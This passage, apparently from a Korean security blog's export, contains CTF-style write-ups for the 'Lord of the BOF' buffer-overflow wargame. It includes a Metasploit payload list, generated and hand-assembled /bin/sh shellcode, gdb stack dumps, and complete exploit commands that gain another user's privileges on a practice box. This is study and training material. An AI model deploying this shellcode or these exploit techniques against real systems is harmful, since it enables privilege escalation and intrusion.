osx/x86/vforkshell/bind_tcp normal OSX (vfork) Command Shell, Bind TCP Stager osx/x86/vforkshell/reverse_tcp normal OSX (vfork) Command Shell, Reverse TCP Stager osx/x86/vforkshell_bind_tcp normal OSX (vfork) Command Shell, Bind TCP Inline osx/x86/vforkshell_reverse_tcp normal OSX (vfork) Command Shell, Reverse TCP Inline php/bind_perl normal PHP Command Shell, Bind TCP (via perl) php/bind_php normal PHP Command Shell, Bind TCP (via php) php/download_exec normal PHP Executable Download and Execute php/exec normal PHP Execute Command php/meterpreter/bind_tcp normal PHP Meterpreter, Bind TCP Stager php/meterpreter/reverse_tcp normal PHP Meterpreter, PHP Reverse TCP stager php/meterpreter_reverse_tcp normal PHP Meterpreter, Reverse TCP Inline php/reverse_perl normal PHP Command, Double reverse TCP connection (via perl) php/reverse_php normal PHP Command Shell, Reverse TCP (via php) php/shell_findsock normal PHP Command Shell, Find Sock solaris/sparc/shell_bind_tcp normal Solaris Command Shell, Bind TCP Inline solaris/sparc/shell_find_port normal Solaris Command Shell, Find Port Inline solaris/sparc/shell_reverse_tcp normal Solaris Command Shell, Reverse TCP Inline solaris/x86/shell_bind_tcp normal Solaris Command Shell, Bind TCP Inline solaris/x86/shell_find_port normal Solaris Command Shell, Find Port Inline solaris/x86/shell_reverse_tcp normal Solaris Command Shell, Reverse TCP Inline tty/unix/interact normal Unix TTY, Interact with established connection windows/adduser normal Windows Execute net user /ADD windows/dllinject/bind_ipv6_tcp normal Reflective Dll Injection, Bind TCP Stager (IPv6) windows/dllinject/bind_nonx_tcp normal Reflective Dll Injection, Bind TCP Stager (No NX or Win7) windows/dllinject/bind_tcp normal Reflective Dll Injection, Bind TCP Stager windows/dllinject/find_tag normal Reflective Dll Injection, Find Tag Ordinal Stager windows/dllinject/reverse_http normal Reflective Dll Injection, PassiveX Reverse HTTP Tunneling Stager windows/dllinject/reverse_ipv6_tcp normal Reflective Dll Injection, Reverse TCP Stager (IPv6) windows/dllinject/reverse_nonx_tcp normal Reflective Dll Injection, Reverse TCP Stager (No NX or Win7) windows/dllinject/reverse_ord_tcp normal Reflective Dll Injection, Reverse Ordinal TCP Stager (No NX or Win7) windows/dllinject/reverse_tcp normal Reflective Dll Injection, Reverse TCP Stager windows/dllinject/reverse_tcp_allports normal Reflective Dll Injection, Reverse All-Port TCP Stager windows/dllinject/reverse_tcp_dns normal Reflective Dll Injection, Reverse TCP Stager (DNS) windows/download_exec normal Windows Executable Download and Execute windows/exec normal Windows Execute Command windows/messagebox normal Windows MessageBox windows/meterpreter/bind_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (IPv6) windows/meterpreter/bind_nonx_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7) windows/meterpreter/bind_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager windows/meterpreter/find_tag normal Windows Meterpreter (Reflective Injection), Find Tag Ordinal Stager windows/meterpreter/reverse_http normal Windows Meterpreter (Reflective Injection), PassiveX Reverse HTTP Tunneling Stager windows/meterpreter/reverse_https normal Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager windows/meterpreter/reverse_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6) windows/meterpreter/reverse_nonx_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7) windows/meterpreter/reverse_ord_tcp normal Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/meterpreter/reverse_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager windows/meterpreter/reverse_tcp_allports normal Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager windows/meterpreter/reverse_tcp_dns normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS) windows/metsvc_bind_tcp normal Windows Meterpreter Service, Bind TCP windows/metsvc_reverse_tcp normal Windows Meterpreter Service, Reverse TCP Inline windows/patchupdllinject/bind_ipv6_tcp normal Windows Inject DLL, Bind TCP Stager (IPv6) windows/patchupdllinject/bind_nonx_tcp normal Windows Inject DLL, Bind TCP Stager (No NX or Win7) windows/patchupdllinject/bind_tcp normal Windows Inject DLL, Bind TCP Stager windows/patchupdllinject/find_tag normal Windows Inject DLL, Find Tag Ordinal Stager windows/patchupdllinject/reverse_ipv6_tcp normal Windows Inject DLL, Reverse TCP Stager (IPv6) windows/patchupdllinject/reverse_nonx_tcp normal Windows Inject DLL, Reverse TCP Stager (No NX or Win7) windows/patchupdllinject/reverse_ord_tcp normal Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7) windows/patchupdllinject/reverse_tcp normal Windows Inject DLL, Reverse TCP Stager windows/patchupdllinject/reverse_tcp_allports normal Windows Inject DLL, Reverse All-Port TCP Stager windows/patchupdllinject/reverse_tcp_dns normal Windows Inject DLL, Reverse TCP Stager (DNS) windows/patchupmeterpreter/bind_ipv6_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager (IPv6) windows/patchupmeterpreter/bind_nonx_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager (No NX or Win7) windows/patchupmeterpreter/bind_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager windows/patchupmeterpreter/find_tag normal Windows Meterpreter (skape/jt injection), Find Tag Ordinal Stager windows/patchupmeterpreter/reverse_ipv6_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (IPv6) windows/patchupmeterpreter/reverse_nonx_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (No NX or Win7) windows/patchupmeterpreter/reverse_ord_tcp normal Windows Meterpreter (skape/jt injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/patchupmeterpreter/reverse_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager windows/patchupmeterpreter/reverse_tcp_allports normal Windows Meterpreter (skape/jt injection), Reverse All-Port TCP Stager windows/patchupmeterpreter/reverse_tcp_dns normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (DNS) windows/shell/bind_ipv6_tcp normal Windows Command Shell, Bind TCP Stager (IPv6) windows/shell/bind_nonx_tcp normal Windows Command Shell, Bind TCP Stager (No NX or Win7) windows/shell/bind_tcp normal Windows Command Shell, Bind TCP Stager windows/shell/find_tag normal Windows Command Shell, Find Tag Ordinal Stager windows/shell/reverse_http normal Windows Command Shell, PassiveX Reverse HTTP Tunneling Stager windows/shell/reverse_ipv6_tcp normal Windows Command Shell, Reverse TCP Stager (IPv6) windows/shell/reverse_nonx_tcp normal Windows Command Shell, Reverse TCP Stager (No NX or Win7) windows/shell/reverse_ord_tcp normal Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7) windows/shell/reverse_tcp normal Windows Command Shell, Reverse TCP Stager windows/shell/reverse_tcp_allports normal Windows Command Shell, Reverse All-Port TCP Stager windows/shell/reverse_tcp_dns normal Windows Command Shell, Reverse TCP Stager (DNS) windows/shell_bind_tcp normal Windows Command Shell, Bind TCP Inline windows/shell_bind_tcp_xpfw normal Windows Disable Windows ICF, Command Shell, Bind TCP Inline windows/shell_reverse_tcp normal Windows Command Shell, Reverse TCP Inline windows/upexec/bind_ipv6_tcp normal Windows Upload/Execute, Bind TCP Stager (IPv6) windows/upexec/bind_nonx_tcp normal Windows Upload/Execute, Bind TCP Stager (No NX or Win7) windows/upexec/bind_tcp normal Windows Upload/Execute, Bind TCP Stager windows/upexec/find_tag normal Windows Upload/Execute, Find Tag Ordinal Stager windows/upexec/reverse_http normal Windows Upload/Execute, PassiveX Reverse HTTP Tunneling Stager windows/upexec/reverse_ipv6_tcp normal Windows Upload/Execute, Reverse TCP Stager (IPv6) windows/upexec/reverse_nonx_tcp normal Windows Upload/Execute, Reverse TCP Stager (No NX or Win7) windows/upexec/reverse_ord_tcp normal Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7) windows/upexec/reverse_tcp normal Windows Upload/Execute, Reverse TCP Stager windows/upexec/reverse_tcp_allports normal Windows Upload/Execute, Reverse All-Port TCP Stager windows/upexec/reverse_tcp_dns normal Windows Upload/Execute, Reverse TCP Stager (DNS) windows/vncinject/bind_ipv6_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (IPv6) windows/vncinject/bind_nonx_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7) windows/vncinject/bind_tcp normal VNC Server (Reflective Injection), Bind TCP Stager windows/vncinject/find_tag normal VNC Server (Reflective Injection), Find Tag Ordinal Stager windows/vncinject/reverse_http normal VNC Server (Reflective Injection), PassiveX Reverse HTTP Tunneling Stager windows/vncinject/reverse_ipv6_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (IPv6) windows/vncinject/reverse_nonx_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7) windows/vncinject/reverse_ord_tcp normal VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/vncinject/reverse_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager windows/vncinject/reverse_tcp_allports normal VNC Server (Reflective Injection), Reverse All-Port TCP Stager windows/vncinject/reverse_tcp_dns normal VNC Server (Reflective Injection), Reverse TCP Stager (DNS) windows/x64/exec normal Windows x64 Execute Command windows/x64/meterpreter/bind_tcp normal Windows x64 Meterpreter, Windows x64 Bind TCP Stager windows/x64/meterpreter/reverse_tcp normal Windows x64 Meterpreter, Windows x64 Reverse TCP Stager windows/x64/shell/bind_tcp normal Windows x64 Command Shell, Windows x64 Bind TCP Stager windows/x64/shell/reverse_tcp normal Windows x64 Command Shell, Windows x64 Reverse TCP Stager windows/x64/shell_bind_tcp normal Windows x64 Command Shell, Bind TCP Inline windows/x64/shell_reverse_tcp normal Windows x64 Command Shell, Reverse TCP Inline windows/x64/vncinject/bind_tcp normal Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager windows/x64/vncinject/reverse_tcp normal Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager msf \u0026gt; use linux/x86/exec msf payload(exec) \u0026gt; show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- CMD yes The command string to execute msf payload(exec) \u0026gt; set CMD /bin/sh CMD =\u0026gt; /bin/sh msf payload(exec) \u0026gt; generate -b \u0026#39;\\x2f\u0026#39; -t c /* * linux/x86/exec - 70 bytes * http://www.metasploit.com * Encoder: x86/shikata_ga_nai * PrependSetresuid=false, PrependSetreuid=false, * PrependSetuid=false, PrependChrootBreak=false, * AppendExit=false, CMD=/bin/sh */ unsigned char buf[] = \\xd9\\xe8\\xd9\\x74\\x24\\xf4\\x5f\\xbd\\xb1\\x4d\\x3c\\x4f\\x29\\xc9\\xb1 \\x0b\\x31\\x6f\\x1a\\x03\\x6f\\x1a\\x83\\xef\\xfc\\xe2\\x44\\x27\\x37\\x17 \\x3f\\xea\\x21\\xcf\\x12\\x68\\x27\\xe8\\x04\\x41\\x44\\x9f\\xd4\\xf5\\x85 \\x3d\\xbd\\x6b\\x53\\x22\\x6f\\x9c\\x6b\\xa5\\x8f\\x5c\\x43\\xc7\\xe6\\x32 \\xb4\\x74\\x90\\xca\\x9d\\x29\\xe9\\x2a\\xec\\x4e; msf payload(exec) \u0026gt; Metaploit 에서 -b 옵션을 주면 해당 문자열은 쉘코드를 생성할때 제거가 되어 나타나게 된다. 이렇게 제거하고자 하는 문자열을 제거한채 쉘코드를 작성할 수 있었다.\n이제 이 쉘코드를 이용하여 공격을 해볼 것이다. 생성된 쉘코드가 70 바이트 이므로 앞에 NOP를 100 바이트 붙여 총 170 바이트로 공격을 할 것이다.\n공격 전 아래와 같이 170 바이트의 파일명으로 심볼릭링크를 생성 후 스택에서 어느 주소값에 쓰이는지 확인해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 [vampire@localhost vampire]$ ln -s skeleton_tmp `python -c print \u0026#39;A\u0026#39;*170` [vampire@localhost vampire]$ ls -al total 76 drwx------ 2 vampire vampire 4096 Dec 23 00:33 . drwxr-xr-x 25 root root 4096 Mar 30 2010 .. -rw------- 1 vampire vampire 329 Dec 23 00:09 .bash_history -rw-r--r-- 1 vampire vampire 24 Mar 1 2010 .bash_logout -rw-r--r-- 1 vampire vampire 230 Mar 1 2010 .bash_profile -rw-r--r-- 1 vampire vampire 124 Mar 1 2010 .bashrc -rwxr-xr-x 1 vampire vampire 333 Mar 1 2010 .emacs -rw-r--r-- 1 vampire vampire 3394 Mar 1 2010 .screenrc -rw------- 1 vampire vampire 2905 Dec 22 23:59 .viminfo -rw-rw-r-- 1 vampire vampire 51 Dec 22 01:55 .vimrc lrwxrwxrwx 1 vampire vampire 12 Dec 23 00:33 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -\u0026gt; skeleton_tmp -rwsr-sr-x 1 skeleton skeleton 12752 Mar 3 2010 skeleton -rw-r--r-- 1 root root 821 Mar 29 2010 skeleton.c -rwsr-sr-x 1 vampire vampire 12752 Dec 23 00:23 skeleton_tmp [vampire@localhost vampire]$ gdb AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) b *main+369 Breakpoint 1 at 0x8048671 (gdb) r `python -c print \u0026#39;\\xbf\u0026#39;*48` Starting program: /home/vampire/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c print \u0026#39;\\xbf\u0026#39;*48` Breakpoint 1, 0x8048671 in main () (gdb) x/32wx $esp 0xbffff99c: 0xbfbfbfbf 0x00000000 0xbffff9e4 0xbffff9f0 0xbffff9ac: 0x40013868 0x00000002 0x08048450 0x00000000 0xbffff9bc: 0x08048471 0x08048500 0x00000002 0xbffff9e4 0xbffff9cc: 0x08048390 0x080486ac 0x4000ae60 0xbffff9dc 0xbffff9dc: 0x40013e90 0x00000002 0xbffffae1 0xbffffb9a 0xbffff9ec: 0x00000000 0xbffffbcb 0xbffffbdd 0xbffffbf6 0xbffff9fc: 0xbffffc15 0xbffffc37 0xbffffc44 0xbffffe07 0xbffffa0c: 0xbffffe26 0xbffffe43 0xbffffe58 0xbffffe77 (gdb) 0xbffffa1c: 0xbffffe82 0xbffffe92 0xbffffe9a 0xbffffeab 0xbffffa2c: 0xbffffeb5 0xbffffec3 0xbffffed4 0xbffffee2 0xbffffa3c: 0xbffffeed 0xbfffff00 0x00000000 0x00000003 0xbffffa4c: 0x08048034 0x00000004 0x00000020 0x00000005 0xbffffa5c: 0x00000006 0x00000006 0x00001000 0x00000007 0xbffffa6c: 0x40000000 0x00000008 0x00000000 0x00000009 0xbffffa7c: 0x08048450 0x0000000b 0x000001fd 0x0000000c 0xbffffa8c: 0x000001fd 0x0000000d 0x000001fd 0x0000000e (gdb) 0xbffffa9c: 0x000001fd 0x00000010 0x0febfbff 0x0000000f 0xbffffaac: 0xbffffadc 0x00000000 0x00000000 0x00000000 0xbffffabc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffacc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffadc: 0x36383669 0x00000000 0x00000000 0x00000000 0xbffffaec: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffafc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb0c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffb1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb3c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb4c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb5c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb6c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb7c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb8c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffb9c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbac: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbbc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbcc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbdc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbec: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbfc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc0c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffc1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc3c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc4c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc5c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc6c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc7c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc8c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffc9c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcac: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcbc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffccc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcdc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcec: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcfc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd0c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffd1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd3c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd4c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd5c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd6c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd7c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd8c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffd9c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdac: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdbc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdcc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffddc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdec: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdfc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe0c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffe1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe3c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe4c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe5c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe6c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe7c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe8c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffe9c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffeac: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffebc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffecc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffedc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffeec: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffefc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff0c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbfffff1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff3c: 0x00000000 0x2f000000 0x656d6f68 0x6d61762f 0xbfffff4c: 0x65726970 0x4141412f 0x41414141 0x41414141 0xbfffff5c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffff6c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffff7c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffff8c: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbfffff9c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffffac: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffffbc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffffcc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffffdc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffffec: 0x41414141 0x41414141 0x41414141 0x00414141 0xbffffffc: 0x00000000 Cannot access memory at address 0xc0000000 (gdb) 0xc0000004: Cannot access memory at address 0xc0000004 (gdb) 확인해본 결과 넉넉잡아 0xbfffff6c 주소쯤으로 잡고 공격을 진행하면 될 것으로 보인다. 이제 공격을 해보도록 하자!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [vampire@localhost vampire]$ ln -s skeleton `python -c print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc1\\x89\\xc3\\xb0\\x46\\xcd\\x80\u0026#39; + \u0026#39;\\xd9\\xe8\\xd9\\x74\\x24\\xf4\\x5f\\xbd\\xb1\\x4d\\x3c\\x4f\\x29\\xc9\\xb1\\x0b\\x31\\x6f\\x1a\\x03\\x6f\\x1a\\x83\\xef\\xfc\\xe2\\x44\\x27\\x37\\x17\\x3f\\xea\\x21\\xcf\\x12\\x68\\x27\\xe8\\x04\\x41\\x44\\x9f\\xd4\\xf5\\x85\\x3d\\xbd\\x6b\\x53\\x22\\x6f\\x9c\\x6b\\xa5\\x8f\\x5c\\x43\\xc7\\xe6\\x32\\xb4\\x74\\x90\\xca\\x9d\\x29\\xe9\\x2a\\xec\\x4e\u0026#39;` [vampire@localhost vampire]$ ls -al total 76 drwx------ 2 vampire vampire 4096 Dec 23 00:35 . drwxr-xr-x 25 root root 4096 Mar 30 2010 .. -rw------- 1 vampire vampire 329 Dec 23 00:09 .bash_history -rw-r--r-- 1 vampire vampire 24 Mar 1 2010 .bash_logout -rw-r--r-- 1 vampire vampire 230 Mar 1 2010 .bash_profile -rw-r--r-- 1 vampire vampire 124 Mar 1 2010 .bashrc -rwxr-xr-x 1 vampire vampire 333 Mar 1 2010 .emacs -rw-r--r-- 1 vampire vampire 3394 Mar 1 2010 .screenrc -rw------- 1 vampire vampire 2905 Dec 22 23:59 .viminfo -rw-rw-r-- 1 vampire vampire 51 Dec 22 01:55 .vimrc lrwxrwxrwx 1 vampire vampire 12 Dec 23 00:33 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -\u0026gt; skeleton_tmp -rwsr-sr-x 1 skeleton skeleton 12752 Mar 3 2010 skeleton -rw-r--r-- 1 root root 821 Mar 29 2010 skeleton.c -rwsr-sr-x 1 vampire vampire 12752 Dec 23 00:23 skeleton_tmp lrwxrwxrwx 1 vampire vampire 8 Dec 23 00:35 ????????????????????????????????????????????????????????????????????????????????????????????????????1??F_O)??1o??o??\u0026#39;7??h\u0026#39;?o?kt?*00m -\u0026gt; skeleton [vampire@localhost vampire]$ ./`python -c print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc1\\x89\\xc3\\xb0\\x46\\xcd\\x80\u0026#39; + \u0026#39;\\xd9\\xe8\\xd9\\x74\\x24\\xf4\\x5f\\xbd\\xb1\\x4d\\x3c\\x4f\\x29\\xc9\\xb1\\x0b\\x31\\x6f\\x1a\\x03\\x6f\\x1a\\x83\\xef\\xfc\\xe2\\x44\\x27\\x37\\x17\\x3f\\xea\\x21\\xcf\\x12\\x68\\x27\\xe8\\x04\\x41\\x44\\x9f\\xd4\\xf5\\x85\\x3d\\xbd\\x6b\\x53\\x22\\x6f\\x9c\\x6b\\xa5\\x8f\\x5c\\x43\\xc7\\xe6\\x32\\xb4\\x74\\x90\\xca\\x9d\\x29\\xe9\\x2a\\xec\\x4e\u0026#39;` `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x6c\\xff\\xff\\xbf\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl bash$ id uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire) bash$ my-pass euid = 510 shellcoder bash$ ","date":"2010-12-22T15:36:18Z","permalink":"/2010/12/22/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-10-skeleton/","title":"BOF 원정대 - Level 10 (skeleton)"},{"content":" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 .globl main main: jmp strings start: pop %esi xor %eax, %eax // 초기화 xor %ebx, %ebx // 초기화 xor %ecx, %ecx // 초기화 xor %edx, %edx // 초기화 mov %esi, 0x0(%esp) // %esp+0 부분에 \u0026#34;/bin/sh\u0026#34; 입력, name[0] mov %eax, 0x4(%esp) // %esp+4 부분에 NULL 입력, name[1] mov $0xb, %al // execve 시스템콜에 해당하는 0xb %eax에 입력 mov %esi, %ebx // \u0026#34;/bin/sh\u0026#34; 를 %ebx에 입력 lea 0x0(%esp), %ecx // name[2] 주소를 %ecx에 입력 int $0x80 strings: call start .string \u0026#34;/bin/sh\u0026#34; 이전에 만들어 둔 쉘코드만 추출하는 스크립트를 이용해 쉘코드를 뽑아내면 \\x00이 포함된다. 따라서 아래와 같이 다시 수정한다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 .globl main main: jmp strings start: pop %esi xor %eax, %eax xor %ebx, %ebx xor %ecx, %ecx xor %edx, %edx mov %esi, 0x1(%esp) mov %eax, 0x5(%esp) mov $0xb, %al mov %esi, %ebx lea 0x1(%esp), %ecx int $0x80 strings: call start .string \u0026#34;/bin/sh\u0026#34; 최종 완성된 쉘코드는 아래와 같다.\n1 \\xeb\\x1b\\x5e\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x89\\x74\\x24\\x01\\x89\\x44\\x24\\x05\\xb0\\x0b\\x89\\xf3\\x8d\\x4c\\x24\\x01\\xcd\\x80\\xe8\\xe0\\xff\\xff\\xff/bin/sh 1 2 3 4 5 6 7 8 9 10 11 12 13 [gate@localhost shellcode]$ cat go.c char shellcode[] = \u0026#34;\\xeb\\x1b\\x5e\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x89\\x74\\x24\\x01\\x89\\x44\\x24\\x05\\xb0\\x0b\\x89\\xf3\\x8d\\x4c\\x24\\x01\\xcd\\x80\\xe8\\xe0\\xff\\xff\\xff/bin/sh\u0026#34;; main() { int *ret; ret = (int *)\u0026amp;ret + 2; (*ret) = (int)shellcode; } [gate@localhost shellcode]$ gcc -o go go.c [gate@localhost shellcode]$ ./go bash$ ","date":"2010-12-21T15:53:23Z","permalink":"/2010/12/21/%EC%89%98%EC%BD%94%EB%93%9C-%EC%A0%9C%EC%9E%91%ED%95%98%EA%B8%B0/","title":"쉘코드 제작하기!"},{"content":"이번 문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 /* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; main(int argc, char *argv[]) { char buffer[40]; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } if(argv[1][47] != \u0026#39;\\xbf\u0026#39;) { printf(stack is still your friend.\\n); exit(0); } // here is changed! if(argv[1][46] == \u0026#39;\\xff\u0026#39;) { printf(but it\u0026#39;s not forever\\n); exit(0); } strcpy(buffer, argv[1]); printf(%s\\n, buffer); } 코드를 보면 제약조건은 